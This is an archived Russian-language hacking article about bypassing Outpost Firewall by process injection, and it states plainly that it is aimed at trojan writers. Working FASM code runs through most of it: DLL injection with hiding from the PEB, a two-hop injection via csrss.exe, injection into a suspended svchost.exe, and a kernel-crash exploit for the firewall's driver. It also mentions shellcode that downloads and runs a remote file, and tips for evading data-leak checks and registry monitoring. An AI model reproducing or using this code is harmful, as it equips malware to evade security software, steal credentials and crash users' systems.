Инжект как метод обхода фаерволлов, жив или мертв? — Архив WASM.RU
Инжект как метод обхода фаерволлов, жив или мертв? (часть 1, OutpostFirewall) Инжект как метод обхода фаерволлов, жив или мертв?
Часть 1, OutpostFirewall.
Наверника многие из вас помнят те времена, когда персональные фаерволлы только появились, и настал черный день для троянописателей. Этот день стал концом для большинства, но не для всех. Вскоре было найдено простое и изьящное решение, суть которого состоит в том, чтобы работать из разрешенного фаерволлом процесса. Решение было простым и не требовало много кода, и заключалось оно в записи и исполнении своего кода в чужой процесс (обычно в процесс InternetExplorer).
Но разработчики фаерволлов ушами не хлопали, и стали отлавливать действия по записи памяти другого процесса. Некоторые перехватывали ZwOpenProcess, некоторые ZwWriteVirtualMemory, некоторые ZwCreateThread. Считается, что с этого момента инжект как метод обхода фаерволлов перестал существовать, так как уже недостаточно было сделать OpenProcess/WriteProcessMemory/CreateRemoteThread. Троянописатели конечно не сидели на есте и придумывали новые способы для отправки данных мимо фаерволла, но по своим возможностям они не могли сравниться с инжектом. Чего только не было придумано, начиная с запуска скрытого окна InternetExplorer и имитации действий пользователя по отправке данных, и заканчивая довольно извратным способом DNS тунелинга, который требовал наличия подконтрольного DNS сервера. Казалось бы инжект остался в прошлом, так как его научились контролировать почти все фаерволлы (за исключением полного отстоя вроде Kaspersky Anty Hacker или бесплатного tdifw), но если детально рассмотреть алгоритмы работы защиты от инжекта, то можно прийти к выводу, что хоронить этот метод еще очень рано, потому что не существует ни одного фаерволла способного перекрыть все пути к инжекту. В этой статья я хочу рассмотреть несколько распостраненных персональных фаерволлов, проанализировать алгоритм работы их защиты от инжекта и рассмотреть некоторые методы ее обхода. Естественно, набор существующих методов не ограничивается приведенными в этой статье, и каждый обладающий воображением сможет найти свой оригинальный метод инжекта. Все примеры в статье написаны на Fasm 1.64, так как он лучше всего подходит для реализации описаных методик. Итак, приступим к делу.
Outpost Firewall, или пример простой защиты.
Итак, первым рассмотрим Outpost Firewall Pro ver.3.0.543.5722. Этот фаерволл я выбрал из за его популярности и простоты реализованной в нем защиты. Outpost отслеживает инжектинг путем перехвата ZwWriteVirtualMemory в SDT ntoskrnl, и блокирует сетевой доступ для процесса память которого была изменена.
Экспериментальным путем было установлено, что Outpost позволяет записать в память процесса не более 16 байт данных. Объяснить это можно тем, что системные службы могут производить запись в память процесса после его запуска, поэтому для исключения ложных срабатываний был введен порог в 16 байт. Что можно сделать с помощью 16 байт? Самое первое что приходит в голову - это инжектинг dll. Имеющиеся 16 байт используем для имени dll (сама dll должна лежать в system32), после чего сделает CreateRemoteThread с lpStartAddress = LoadLibraryA установив lpParameter на наш буфер. Для начала найдем процесс в который будем производить инжект:
FindProcess: push ebp mov ebp, esp sub esp, 13Ch push esi mov dword [ebp-13Ch], 128h invoke CreateToolhelp32Snapshot, 2, 0 mov esi, eax cmp eax, -1 jz @F lea eax, [ebp-13Ch] invoke Process32First, esi, eax test eax, eax jz @F bb: lea eax, [ebp-118h] invoke lstrcmpi, eax, ProcessName test eax, eax jz pFound lea eax, [ebp-13Ch] invoke Process32Next, esi, eax test eax, eax jz @F jmp bb @@: pop esi leave ret pFound: mov eax, [ebp-308] jmp @BТеперь можно выделить память, записать имя dll и вызвать CreateRemoteThread:
ProcessName db 'iexplore.exe', 0 DllName db 'fwbdll.dll', 0 NameSize = $-DllName entry $ call FindProcess test eax, eax jz @F invoke OpenProcess, PROCESS_ALL_ACCESS, 0, eax test eax, eax jz @F mov esi, eax invoke VirtualAllocEx, esi, 0, 16, MEM_COMMIT+MEM_RESERVE, PAGE_READWRITE test eax, eax jz @F mov edi, eax invoke WriteProcessMemory, esi, edi, DllName, NameSize, 0 test eax, eax jz @F invoke CreateRemoteThread, esi, 0, 0, [LoadLibrary], edi, 0, 0 invoke CloseHandle, esi @@: retСодержимое dll для демонстрации примера будет весьма безобидное, просто показывается MessageBox с сообщением, но ничего не мешает сделать там отправку паролей с машины, или загрузку и запуск файла.
format PE GUI 4.0 DLL include '%fasminc%\win32a.inc' text db 'Fuck you, world!', 0 caption db 'Dll inject', 0 entry $ cmp dword [esp+8], DLL_PROCESS_ATTACH jnz @F invoke MessageBox, 0, text, caption, 0 @@: mov eax, 1 retn 0Ch section '.idata' import data readable library user32, 'user32.dll' include '%fasminc%\apia\user32.inc' section '.reloc' fixups data discardableКонтроль компонентов.
Все было бы хорошо (живи да радуйся), если бы не контроль компонентов. Outpost, как и большинство других фаерволлов при запросе сетевого соединения проверяют список загруженных в процесс dll, и при наличии новых модулей ) либо при изменении контрольной суммы старых) начинает грязно ругаться, а это может вызвать у юзера подозрения. Следовательно следующим шагом станет обход контроля компонентов.
Если немного пораскинуть мозгами (по асфальту , то легко прийти к выводу, что раз оутпост получает список загруженных dll, значит этот список где-то храниться, а если он где-то есть, то его можно найти и исправить так, чтобы скрыть присутствие нашей dll. Список загруженных модулей процесса хранится в его PEB. Опишем для начала структуру PEB (не всю, а только нужную нам часть):
struct PEB InheritedAddressSpace db ? ReadImageFileExecOptions db ? BeingDebugged db ? Spare db ? Mutant dd ? ImageBaseAddress dd ? LoaderData dd ? ProcessParameters dd ? SubSystemData dd ? ProcessHeap dd ? FastPebLock dd ? FastPebLockRoutine dd ? FastPebUnlockRoutine dd ? EnvironmentUpdateCount dd ? KernelCallbackTable dd ? SystemReserved dd ? AtlThunkSListPtr32 dd ? endsВ этой структуре есть элемент LoaderData, который является указателем на структуру PEB_LDR_DATA с которой начинаются двухсвязные списки загруженных моделей. Каждый загруженный модуль описывается структурой LDR_MODULE:
struct LDR_MODULE InLoadOrderModuleList LIST_ENTRY ? InMemoryOrderModuleList LIST_ENTRY ? InInitializationOrderModuleList LIST_ENTRY ? BaseAddress dd ? EntryPoint dd ? SizeOfImage dd ? FullDllName UNICODE_STRING ? BaseDllName UNICODE_STRING ? Flags dd ? LoadCount dw ? TlsIndex dw ? HashTableEntry LIST_ENTRY ? TimeDateStamp dd ? endsКак вы видите, здесь присутствует три списка загруженных модулей, это InLoadOrderModuleList, InMemoryOrderModuleList и InInitializationOrderModuleList. Первые два содержат все инициализированные модули, а последний обычно пуст. Нам нужно пройтись по списку InLoadOrderModuleList, сравнивая BaseAddress каждого модуля со своим hInstance найти свой модуль, после чего удалить его из InLoadOrderModuleList и InMemoryOrderModuleList. С учетом всего вышесказанного, код нашей безобидной dll принимает следующий вид:
format PE GUI 4.0 DLL include '%fasminc%\win32a.inc' include 'structs.inc' text db 'Fuck you, world!', 0 caption db 'Dll inject', 0 HideFromPeb: ; hInstance push esi push ebx mov esi, [esp+0Ch] mov eax, [fs:30h] mov eax, [eax+PEB.LoaderData] add eax, PEB_LDR_DATA.InLoadOrderModuleList @@: mov eax, [eax+LDR_MODULE.InLoadOrderModuleList.Flink] cmp esi, [eax+LDR_MODULE.BaseAddress] jnz @B mov esi, [eax+LIST_ENTRY.Flink] mov ebx, [eax+LIST_ENTRY.Blink] mov [ebx+LIST_ENTRY.Flink], esi mov esi, [eax+LIST_ENTRY.Blink] mov ebx, [eax+LIST_ENTRY.Flink] mov [ebx+LIST_ENTRY.Blink], esi lea eax, [eax+LDR_MODULE.InMemoryOrderModuleList] mov esi, [eax+LIST_ENTRY.Flink] mov ebx, [eax+LIST_ENTRY.Blink] mov [ebx+LIST_ENTRY.Flink], esi mov esi, [eax+LIST_ENTRY.Blink] mov ebx, [eax+LIST_ENTRY.Flink] mov [ebx+LIST_ENTRY.Blink], esi pop ebx pop esi ret entry $ cmp dword [esp+8], DLL_PROCESS_ATTACH jnz @F push dword [esp+4] call HideFromPeb invoke MessageBox, 0, text, caption, 0 @@: mov eax, 1 retn 0Ch section '.idata' import data readable library user32, 'user32.dll' include '%fasminc%\apia\user32.inc' section '.reloc' fixups data discardableВсе, теперь оутпост не замечает как процесс инжектинга, так и наличие нашей dll и можно спокойно отсылать пароли и качать трояны пачками
Инжектим чистый код.
Инжектинг dll, это конечно просто в реализации, но такой метод мне кажется "грязным", так как требует наличия лишнего файла на диске. Гораздо лучше бы было проинжектить только код производящий нужные нам действия. В 16 байт при всем желании не удастся втиснуть код выполняющий какие-либо полезные действия, но в 16 байт вполне можно уместить код который догрузит все остальное из нашего процесса. В этом коде должен присутствовать всего лишь один вызов ReadProcessMemory, так как хэндл своего процесса можно заранее скопировать с помощью DuplicateHandle. ReadProcessMemory принимает 5 параметров размером в dword, и кажется, что в 16 байт нельзя уместить даже эти параметры не говоря уже о коде, но не все так плохо. На самом деле достаточно будет всего 14 байт, если код загрузчика будет иметь такой вид:
push 0 push InjectSize push esi push InjectCode push edi call ebxМы создадим с помощью CreateRemoteThread поток в приостановленом состоянии (с флагом CREATE_SUSPENDED), а затем использую GetThreadContext/SetThreadContext заполним регистры нужными нам параметрами. Остаток кода будет догружаться после call ebx. Пример такого инжекта показывающий MessageBox будет выглядеть так:
LoaderCode: push 0 push InjectSize push esi push InjectCode push edi call ebx LoaderSize = $-LoaderCode InjectCode: call $+5 pop esi sub esi, $-InjectCode-1 push 0 lea eax, [esi+caption-InjectCode] push eax lea eax, [esi+text-InjectCode] push eax push 0 call [esi+p_MessageBox-InjectCode] retn 4 p_MessageBox dd 0 text db 'Fuck you, world!', 0 caption db 'Code inject', 0 InjectSize = $-InjectCode ProcessName db 'iexplore.exe', 0 align 4 context CONTEXT 0 entry $ push ebp mov ebp, esp sub esp, 8 mov eax, [MessageBox] mov [p_MessageBox], eax call FindProcess test eax, eax jz @F invoke OpenProcess, PROCESS_ALL_ACCESS, 0, eax test eax, eax jz @F mov [ebp-4], eax invoke VirtualAllocEx, [ebp-4], 0, LoaderSize+InjectSize, MEM_COMMIT+MEM_RESERVE, PAGE_EXECUTE_READWRITE test eax, eax jz @F mov edi, eax invoke WriteProcessMemory, [ebp-4], edi, LoaderCode, LoaderSize, 0 lea eax, [ebp-8] invoke DuplicateHandle, -1, -1, [ebp-4], eax, 0, 0, DUPLICATE_SAME_ACCESS invoke CreateRemoteThread, [ebp-4], 0, 0, edi, 0, CREATE_SUSPENDED, 0 mov esi, eax mov [context.ContextFlags], CONTEXT_FULL invoke GetThreadContext, esi, context lea eax, [edi+LoaderSize] mov [context.regEsi], eax push dword [ebp-8] pop [context.regEdi] push [ReadProcessMemory] pop [context.regEbx] invoke SetThreadContext, esi, context invoke ResumeThread, esi invoke CloseHandle, esi invoke CloseHandle, [ebp-4] invoke Sleep, 100 @@: leave ret
Инжект в два прыжка.
Итак, если вы думаете что на этом заканчиваются возможности для инжекта, то ошибаетесь. Если вникнуть в некоторые аспекты работы системы, то можно придумать еще несколько способов инжекта. Если вы читали мою статью "Современные технологии дампинга и защиты от него", то несомненно знаете, что в процессе работы системы, процесс csrss.exe (сервер подсистемы win32) производит запись в память GUI процессов. Из этого следует вывод, что во избежании ложных срабатываний фаерволлы не могут контролировать инжекты со стороны этого процесса. Следовательно можно сделать инжект в "два прыжка", сначала проинжектиться в csrss.exe, а затем из него в любой другой процесс. Для инжекта в csrss нам сначала нужно включить Debug привилегию, это делает следующий код:
PrivName db 'SeDebugPrivilege', 0 EnableDebugPrivilege: push ebp mov ebp, esp sub esp, 24h invoke OpenProcessToken, -1, 28h, esp test eax, eax jz @F lea eax, [esp+8] invoke LookupPrivilegeValue, 0, PrivName, eax test eax, eax jz @F mov dword [esp+14h], 1 mov eax, [esp+8] mov [esp+18h], eax mov eax, [esp+0Ch] mov [esp+1Ch], eax mov dword [esp+20h], 2 lea eax, [esp+10h] push eax lea eax, [esp+18h] push eax push 10h lea eax, [esp+20h] push eax push 0 mov eax, [esp+14h] push eax call [AdjustTokenPrivileges] @@: leave retДля упрощения работы, сделаем таблицу адресов нужных нам API внутри инжект кода, и составим макросы для эх простого вызова:
macro callx i {call dword [ebp+p_#i-CodeStart]} macro invokex proc,[arg] { common if ~ arg eq reverse pushd arg common end if callx proc }Теперь можно писать собственно сам инжект код. Этот код при запуске инжектит себя в csrss, а из него - в iexplore.exe, где и показывает MessageBox:
CodeStart: call $+5 pop ebp sub ebp, $-CodeStart-1 mov esi, [esp+4] test esi, esi jz mbox invokex OpenProcess, PROCESS_ALL_ACCESS, 0, esi test eax, eax jz @F mov esi, eax invokex VirtualAllocEx, esi, 0, CodeSize, MEM_COMMIT+MEM_RESERVE, PAGE_EXECUTE_READWRITE test eax, eax jz @F mov edi, eax push [ebp+InjParam-CodeStart] mov [ebp+InjParam-CodeStart], 0 invokex WriteProcessMemory, esi, edi, ebp, CodeSize, 0 pop eax invokex CreateRemoteThread, esi, 0, 0, edi, eax, 0, 0 invokex CloseHandle, esi jmp @F mbox: lea eax, [ebp+caption-CodeStart] lea ebx, [ebp+text-CodeStart] invokex MessageBox, 0, ebx, eax, 0 @@: retn 4 text db 'Fuck you, world!', 0 caption db 'TwoJump inject', 0 p_OpenProcess dd 0 p_VirtualAllocEx dd 0 p_WriteProcessMemory dd 0 p_CreateRemoteThread dd 0 p_CloseHandle dd 0 p_MessageBox dd 0 InjParam dd 0 CodeSize = $-CodeStartЗаполнение адресов в таблице API, определение PID нужных нам процессов и вызов этого кода теперь выглядит очень просто:
ProcessName dd 0 fProc db 'csrss.exe', 0 sProc db 'iexplore.exe', 0 entry $ call EnableDebugPrivilege mov eax, [OpenProcess] mov [p_OpenProcess], eax mov eax, [WriteProcessMemory] mov [p_WriteProcessMemory], eax mov eax, [CreateRemoteThread] mov [p_CreateRemoteThread], eax mov eax, [VirtualAllocEx] mov [p_VirtualAllocEx], eax mov eax, [CloseHandle] mov [p_CloseHandle], eax mov eax, [MessageBox] mov [p_MessageBox], eax mov [ProcessName], sProc call FindProcess test eax, eax jz @F mov [InjParam], eax mov [ProcessName], fProc call FindProcess test eax, eax jz @F push eax call CodeStart @@: ret
Баги в Outpost.
Дизассемблируя драйвер оутпоста (FILTNT.sys) я натолкнулся на две интересные особенности в обработчике перехвата ZwWriteVirtualMemory. Из этого обработчика вызывается функция с адресом 0x00017B90, которая делает запрос службе оутпоста на проверку возможности записи памяти процесса. В этой функции также есть ряд других проверок, одна из которых осуществляется следующим кодом:
.text:00017C48 xor eax, eax .text:00017C4A mov ecx, [ebp+var_4] .text:00017C4D mov al, [ecx+879h] .text:00017C53 cmp eax, 3 .text:00017C56 jz loc_17E28 .text:00017C5C cmp eax, 6 .text:00017C5F jz loc_17E28 .text:00017C65 cmp eax, 1 .text:00017C68 jz loc_17E28 .text:00017C6E mov cl, [ebx+879h] .text:00017C74 cmp cl, 4 .text:00017C77 jnz short loc_17CA0 .text:00017C79 mov ecx, [ebp+arg_8] .text:00017C7C cmp ecx, 4 .text:00017C7F jnz short loc_17CA0 .text:00017C81 lea esi, [esi+0Eh] .text:00017C84 mov edi, offset aSvchost_exe ; "SVCHOST.EXE" .text:00017C89 mov ecx, 18h .text:00017C8E repe cmpsb .text:00017C90 jnz short loc_17CA0 .text:00017C92 mov eax, 1 .text:00017C97 pop edi .text:00017C98 pop esi .text:00017C99 pop ebx .text:00017C9A mov esp, ebp .text:00017C9C pop ebp .text:00017C9D retn 10hКак вы уже наверно поняли, всем процессам с именем svchost.exe разрешается запись в память других процессов во избежание ложных срабатываний защиты. Поэтому можно использовать даже старые методы инжекта, нужно просто обозвать трояна svchost.exe и оутпост все разрешит! Это конечно можно считать не багом, а фичей, но мне кажется, что разработчики могли бы поответственнее отнестись к реализации такой проверки, хотя бы проверять полный путь к исполнимому файлу, а не только имя процесса.
Дальнейшее изучение драйвера оутпоста позволило мне найти еще один баг в нем, видимо в целях отладки программисты писавшие оутпост сделали в драйвере вывод отладочных сообщений (точнее сообщения драйвер выводит не сам, а передает их службе), и в числе прочих сообщений там имеется дамп содержимого инжектируемого куска памяти. Формирование строки с дампом производится следующим кодом:
.text:00017D88 xor ebx, ebx .text:00017D8A test edi, edi .text:00017D8C jle short loc_17DB3 .text:00017D8E lea esi, [ebp-0B0h] .text:00017D94 .text:00017D94 loc_17D94: ; CODE XREF: sub_17B90+221.j .text:00017D94 xor eax, eax .text:00017D96 mov ecx, [ebp+14h] .text:00017D99 mov al, [ecx+ebx] .text:00017D9C inc ebx .text:00017D9D push eax .text:00017D9E push offset a02x ; "%02X " .text:00017DA3 push esi .text:00017DA4 add esi, 3 .text:00017DA7 call sprintf .text:00017DAC add esp, 0Ch .text:00017DAF cmp ebx, edi .text:00017DB1 jl short loc_17D94Начальный адрес дампимого куска памяти находиться в локальной переменной [ebp+14h], куда он помещается из аргумента ZwWriteVirtualMemory. Как вы видите, в строке mov al, [ecx+ebx] происходит обращение к памяти в юзермодном буфере без проверки ее там присутствия, а следовательно достаточно передать невалидный адрес и система упадет в синий экран. Этот баг уже является уязвимостью в безопасности, так как для того чтобы уронить систему не требуются права администратора. А вот и эксплоит на эту уязвимость:
ProcessName db 'explorer.exe', 0 entry $ call FindProcess test eax, eax jz @F invoke OpenProcess, PROCESS_ALL_ACCESS, 0, eax test eax, eax jz @F mov esi, eax invoke VirtualAllocEx, esi, 0, 10, MEM_COMMIT+MEM_RESERVE, PAGE_EXECUTE_READWRITE test eax, eax jz @F mov edi, eax invoke WriteProcessMemory, esi, edi, 0, 10, 0 @@: retДля срабатывания эксплоита необходимо наличие в настройках фаерволла любого правила для explorer.exe, но его можно заменить любым процессом. Наличие уязвимости подтверждено в Outpost Firewall Pro ver. 3.0.543.5722 и Outpost Firewall Pro ver. 2.7.485.5401, но я предполагаю что эта дыра есть и в более ранних версиях.
Инжект в запускаемый процесс.
Итак, мы рассмотрели несколько способов инжекта в уже запущенный процесс, но главным недостатком этих способов является то, что они построены на особенностях конкретного фаерволла, и врядли будут работать на чем-либо кроме оутпоста. Для практического использования очень желательно иметь универсальный метод, работающий против всех фаерволлов. Для того, чтобы найти такой способ, давайте подробно рассмотрим как происходит запуск нового процесса. Запуск процесса состоит из следующих стадий:
1) Разбор параметров переданных в CreateProcessW, открытие исполнимого файла и определение его типа. На этом этапе определяется является ли запускаемый файл dos или win16 файлом (для них запускается ntvdm.exe и wowexec.exe соответственно), для .bat и .cmd файлов запускается cmd.exe. В дальнейшем будем считать, что запускается обычный win32 PE файл.
2) Производиться открытие исполнимого файла с помощью ZwOpenFile.
3) Из открытого файла создается секция с атрибутом SEC_IMAGE с помощью вызова ZwCreateSection.
4) С помощью ZwQuerySection извлекаются атрибуты стека и точки входа запускаемого процесса.
5) Создается объект нового процесса с помощью ZwCreateProcess. На уровне ядра в этот момент происходит создание адресного пространства и структуры EPROCESS. Важно заметить, что в этот момент процесс еще не имеет своих потоков и не может исполняться.
6) Происходит установка приоритета процесса с помощью ZwSetInformationProcess.
7) С помощью ZwQueryInformationProcess извлекается выданный системой адрес PEB нового процесса.
8) Производиться заполнение PEB и дуплицирование хэндлов ввода-вывода (только для консольных программ). В этот момент многократно вызывается ZwAlocateVirtualMemory, ZwReadVirtualMemory и ZwWriteVirtualMemory.
9) Производиться выделение памяти под стек первичного потока и подготовка его стартового контекста.
10) С помощью ZwCreateThread создается первичный поток.
11) Подсистема win32 (csrss.exe) информируется о старте нового процесса через LPC сообщения. На верхнем уровне этим заведует функция CsrClientCallServer, которая в свою очередь вызывает ZwRequestWaitReplayPort.
12) Первичный поток запускается на исполнение с помощью ZwResumeThread.
Обратите внимание, что на этапе 8 производиться запись в память запускаемого процесса со стороны родительского процесса, поэтому фаерволлы включают контроль инжектов позднее. На основании этого факта можно построить методику инжектов в запускаемый процесс, которая сможет обойти контроль большинства фаерволлов.
С этого момента, для проверки работоспособности инжекта, мы будем пользоваться маленьким базонезависимым шелкодом, который скачивает файл по линку http://ms-rem.dot-link.net/file.exe и запускает его. Файл этот содержит просто MessageBox.
С учетом всего вышесказанного, код производящий инжект описанным способом будет выглядеть так:
format PE GUI 4.0 include '%fasminc%\win32a.inc' section '.code' code readable writeable executable stri STARTUPINFO ? prci PROCESS_INFORMATION ? szSvchost db 'svchost.exe', 0 injcode file 'code.bin' codesize = $-injcode oldp dd 0 entry $ mov [stri.cb], sizeof.STARTUPINFO invoke CreateProcess, 0, szSvchost, 0, 0, 0, CREATE_SUSPENDED, 0, 0, stri, prci test eax, eax jz @F invoke LoadLibraryEx, szSvchost, 0, DONT_RESOLVE_DLL_REFERENCES test eax, eax jz @F add eax, [eax+3Ch] mov edi, [eax+28h] add edi, [eax+34h] invoke VirtualProtectEx, [prci.hProcess], edi, codesize, PAGE_EXECUTE_READWRITE, oldp invoke WriteProcessMemory, [prci.hProcess], edi, injcode, codesize, 0 invoke ResumeThread, [prci.hThread] @@: ret section '.idata' import data readable writeable library kernel32, 'kernel32.dll' include '%fasminc%\apia\kernel32.inc'Вышеописанный способ с небольшими изменениями (о них далее) можно применять с многими другими распространенными фаерволлами.
Другие методы защиты оутпоста.
Ну и, осталось рассказать про еще несколько методов защиты применяемых оутпостом. Они врядли могут создать какие-либо проблемы, но все же иногда их следует принимать во внимание.
При использовании инжекта в запускаемый процесс, внимание следует обратить на так называемый "контроль скрытых процессов". На самом деле под скрытым процессом оутпост понимает процесс, который не имеет окна или имеет скрытое окно. При создании правила для приложения, оутпост запоминает факт наличия у него видимого окна, и будет далее проверять его наличие при первом запросе сетевого доступа процессом. В случае с вышеприведенным примером использующим инжект в svchost.exe, это не вызовет никаких проблем, но в случае использования данного метода например с iexplore.exe, оутпост выдаст предупреждение. Сделать обход такой проверки весьма нетрудно, для этого нужно просто создать видимое окно и показать его за экраном (например в координатах -10000, -10000). Можно также использовать другие приемы (такие как 100% прозрачность окна, и т.д.). Приводить код обходящий эту защиту я сейчас не буду, его вы можете найти среди примеров к этой серии статей.
В версиях оутпоста 3.0 и выше, появился новый AntySpyware плугин. Он совмещает в себе три метода защиты. Первый - это сигнатурный скан файлов (вроде антивируса). Я думаю, все вы давно знаете как с подобными вещами бороться (т.к. антивирусы это первейшая проблема возникающая при написании троянов). Второй метод - это сканирование исходящих пакетов на сигнатуры передаваемых приватных данных (номеров кредитных карт, паролей и.т.п.), параметры этой проверки можно установить в настройках плугина. Обойти это проверку очень просто, достаточно просто шифровать передаваемые данные (хотя-бы примитивным ксором). Третья защита этого плугина имхо может создавать проблемы при установке трояна. Она мониторит определенные ключи реестра на предмет их изменения (прописывания в автозагрузку). Список этих ключей можно найти в настройках плугина. Для того чтобы избавиться от этой напасти есть два способа, первый - это пользоваться ключом реестра который оутпост не контролирует, второй - перехватывать в процессе оутпоста функции ZwEnumerateKey/ZwQueryValueKey и маскировать свои изменения. Имхо следует выбирать второй способ ввиду его универсальности.
Заключение.
И так, все защиты оутпоста рассмотрены и побеждены, и теперь хотелось бы сделать выводы из вышеприведенного материала и моих впечатлений от использования этого фаерволла. Оутпост очень удобен в использовании, содержит средства помогающие при отладке сетевых приложений (монитор соединений), имеет полезные фичи вроде вырезки рекламы и кеширования DNS запросов. Он обеспечивает хорошую защиту от внешних атак (ремоутных эксплоитов) и имеет гибкие легконастраиваемые правила, но защиту от троянов совершенно не обеспечивает (это самый простой для обхода фаерволл в этом обзоре).
З.Ы. не торопитесь применять вышеописанное к другим фаерволлам, так как многое здесь касается только оутпоста. Про другие фаерволлы читайте в следующих статьях серии.
Приложение:
Здесь вы найдете все файлы идущие со статьей:
Файл Описание codeinject.rar (2 кб) Пример прямого инжекта кода. dllinject.rar (2 кб) Пример инжекат dll и скрытия ее из PEB. twojump.rar (2 кб) Инжект в два прыжка. rinject.rar (2 кб) Инжект в запускаемый процесс. shellcode.rar (2 кб) Исходники тестового шелкода.
© Copyright by Ms-Rem ALL RIGHTS RESERVED.
Инжект как метод обхода фаерволлов, жив или мертв?
Дата публикации 28 апр 2006